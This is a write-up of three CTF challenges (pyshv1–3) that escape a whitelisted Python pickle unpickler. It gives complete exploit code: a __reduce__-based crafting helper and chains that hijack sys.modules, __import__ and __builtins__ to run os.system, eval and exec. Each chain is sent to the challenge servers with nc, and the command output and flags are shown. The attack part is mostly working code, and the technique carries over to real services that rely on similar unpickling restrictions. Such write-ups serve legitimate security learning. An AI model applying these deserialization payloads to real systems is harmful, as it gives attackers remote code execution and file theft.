The challenge contains two modules:
# File: securePickle.py
import pickle, io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
# File: server.py
import securePickle as pickle
import codecs
pickle.whitelist.append('sys')
class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}
def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
We can provide a pickled string, and the unpickling is restricted to objects in the sys
module. I restrained from writing pickle bytecode by hand and used only the __reduce__
API. The only small hack is to create arbitrary named attributes to be pickled, for example sys.__dict__
. I wrote this snippet to help with it:
import pickle, sys
class FakeMod(type(sys)):
modules = {}
def __init__(self, name):
self.d = {}
super().__init__(name)
def __getattribute__(self, name):
d = self()
return d[name]
def __call__(self):
return object.__getattribute__(self, "d")
def attr(s):
mod, name = s.split(".")
if mod not in FakeMod.modules:
FakeMod.modules[mod] = FakeMod(mod)
d = FakeMod.modules[mod]()
if name not in d:
def f(): pass
f.__module__ = mod
f.__qualname__ = name
f.__name__ = name
d[name] = f
return d[name]
def dumps(obj):
# use python version of dumps
# which is easier to hack
pickle.dumps = pickle._dumps
orig = sys.modules
sys.modules = FakeMod.modules
s = pickle.dumps(obj)
sys.modules = orig
return s
a = attr("sys.__dict__")
print(dumps(a))
# b'\x80\x03csys\n__dict__\nq\x00.'
Pickle uses __reduce__
method of objects with a special interface. It allows to call a function (which has to be picklable, i.e. be the part of the module) with arbitrary (picklable) arguments. Finally, it allows to update the __dict__
of the output of the function, .append()
objects to it and set items on it. The following snippet simplifies this API into a single function call:
def craft(func, *args, dict=None, list=None, items=None):
class X:
def __reduce__(self):
tup = func, tuple(args)
if dict or list or items:
tup += dict, list, items
return tup
return X()
Now we can, for example, easily dump sys.__dict__
from the server:
obj = craft(attr("sys.displayhook"), attr("sys.__dict__"))
{'__name__': 'sys', '__doc__': ..., 'argv': ['/home/pyshv1/task/server.py']}
Let's look at the Unpickler.find_class
method:
def find_class(self, module, name):
...
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
So, pickle relies on the sys.modules
mapping! Let us replace this attribute with our own dict so that we can access attributes of objects other than the actual sys module. In particular, we want to access modules in the mapping, so we elegantly set sys.modules[sys] = sys.modules
:
c1 = craft(
attr("sys.__setattr__"),
"modules", {"sys": sysattr("modules")}
)
We can now update module dicts using the __reduce__
dict API, in particular the whitelist:
c2 = craft(attr("sys.__getitem__"), "securePickle", dict={"whitelist": ["sys", "os"]})
Now we can actually call e.g. the os.system
:
c3 = craft(attr("os.system"), "id; cat ../flag.txt")
Assembling the full chain:
c1 = craft(
attr("sys.__setattr__"),
"modules", {"sys": sysattr("modules")}
)
c2 = craft(attr("sys.__getitem__"), "securePickle", dict={"whitelist": ["sys", "os"]})
c3 = craft(attr("os.system"), "id; cat ../flag.txt")
obj = craft(attr("sys.displayhook"), (c1, c2, c3))
s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")
open("inp", "wb").write(s)
os.system("(cat inp; echo) | nc -v pysh1.balsnctf.com 5421")
uid=1000(pyshv1) gid=1000(pyshv1) groups=1000(pyshv1)
Balsn{p1Ck1iNg_s0m3_PiCklEs}
In the second challenge the restricted pickle is a bit different. Not it calls the __import__
function:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
Second, only an empty module structs
is added to the whitelist (how this can be insecure???):
pickle.whitelist.append('structs')
The rest is basically the same. In this challenge we have much less tools compared to the rich sys
module. However, there is structs.__builtins__
which is the same global __builtins__
module. In particular, the change from pyshv1 is the use of the __import__
function, which we can replace in __builtins__
. The idea is somewhat similar to the one with sys.modules
: the goal is to access attributes of objects other than the original module. For achieving this, we replace __import__
with structs.__getatttribute__
. As a result, __import__("structs").attr
becomes structs.structs.attr
. We set the structs.structs
to structs.__dict__
: this allows us to call dict methods:
c1 = craft(attr("structs.__setattr__"), "structs", attr("structs.__dict__"))
c2 = craft(
attr("structs.__getattribute__"),
"__builtins__",
items=[("__import__", attr("structs.__getattribute__"))]
)
Let's populate the dict with builtins:
bs = craft(attr("structs.get"), "__builtins__")
c3 = craft(attr("structs.update"), bs)
We can now replace structs.structs
to the eval function:
ev = craft(attr("structs.get"), "eval")
c4 = craft(attr("structs.__setitem__"), "structs", ev)
Finally, we call eval and assemble the whole chain:
c1 = craft(attr("structs.__setattr__"), "structs", attr("structs.__dict__"))
c2 = craft(
attr("structs.__getattribute__"),
"__builtins__",
items=[("__import__", attr("structs.__getattribute__"))]
)
bs = craft(attr("structs.get"), "__builtins__")
c3 = craft(attr("structs.update"), bs)
ev = craft(attr("structs.get"), "eval")
c4 = craft(attr("structs.__setitem__"), "structs", ev)
c5 = craft(attr("structs.__call__"), r'print(open("../flag.txt").read())')
obj = craft(attr("structs.__setattr__"), "code", [c1, c2, c3, c4, c5])
s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")
open("inp", "wb").write(s)
os.system("(cat inp; echo) | nc -v pysh2.balsnctf.com 5422")
Balsn{CD_sP33duP_eVe3y7h1nG__Wh0_c4r3s_Th3_c0dE?}
I didn't solve this challenge during CTF, but afterwards I deciced to check if the author's solution can be implemented using same craft()
technique and without fiddling with the pickle bytecode. The problem occurs when you try to set an attribute on the class:
in: type(structs.User).__dict__
out: mappingproxy({'__repr__': ...})
int: type(structs.User).__dict__["newattr"] = 123
out: TypeError: 'mappingproxy' object does not support item assignment
The attribute dictionaries of classes are stored as mappingproxy
, which does not have a __setitem__
method (in its class)! And this method is used by pickle in our implementation of craft(..., dict=newattrs)
. After looking at the source code of pickle, I found out that there is an undocumented feature (not in doc), which was actually used in bytecode-based solutions of other CTFers:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
It turns out that the dict
object can be a tuple of:
- a dict called 'state' for update by calling
obj.__dict__[attr] = value
; - a dict called 'slotstate' for update by calling
setattr(obj, attr, value)
.
And the second case is much more preferable for us, since it is very generic! After patching the craft()
function as follows:
def craft(func, *args, dict=None, slots={}, list=None, items=None):
class X:
def __reduce__(self):
tup = func, tuple(args)
if dict or slots or list or items:
tup += (dict, slots), list, items
return tup
return X()
We can now implement the sasdf's intended solution which is based on making the privileged
field a descriptor, which ignores setting the attribute:
clsUser = attr("structs.User")
descr = craft(clsUser, "descruser", "descrpw")
code = craft(attr("structs.__getattribute__"), "User",
slots=dict(
__set__=clsUser,
privileged=descr
)
)
obj = craft(clsUser, "hellman", "pw", dict={1: code})
s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")
open("inp", "wb").write(s + b"\nflag\n")
os.system("cat inp | nc -vw 1 pysh3.balsnctf.com 5423")
And also the more powerful unintented solution, which makes structs.__spec__.__dict__
point to structs.__dict__
, populate it with structs.__builtins__
and then call builtins.exec
. Instead of __spec__
we could use any other object that has replaceable __dict__
.
s_getattr = attr("structs.__getattribute__")
s_setattr = attr("structs.__setattr__")
builtins = craft(s_getattr, "__builtins__")
structs_dict = craft(s_getattr, "__dict__")
# we just need an object with updatable __dict__
u = craft(s_getattr, "__spec__",
slots=dict(__dict__=structs_dict)
)
c1 = craft(s_setattr, "u", u)
c2 = craft(s_getattr, "u",
slots=builtins
)
c3 = craft(attr("structs.exec"), 'print(open("../flag.txt").read());quit()')
obj = [c1, c2, c3]
s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")
open("inp", "wb").write(s + b"\n")
os.system("cat inp | nc -vw 1 pysh2.balsnctf.com 5422")
os.system("cat inp | nc -vw 1 pysh3.balsnctf.com 5423")
Bonus: this code works for both pyshv2 and pyshv3!
Balsn{pY7h0n1dae_ObJ3c7}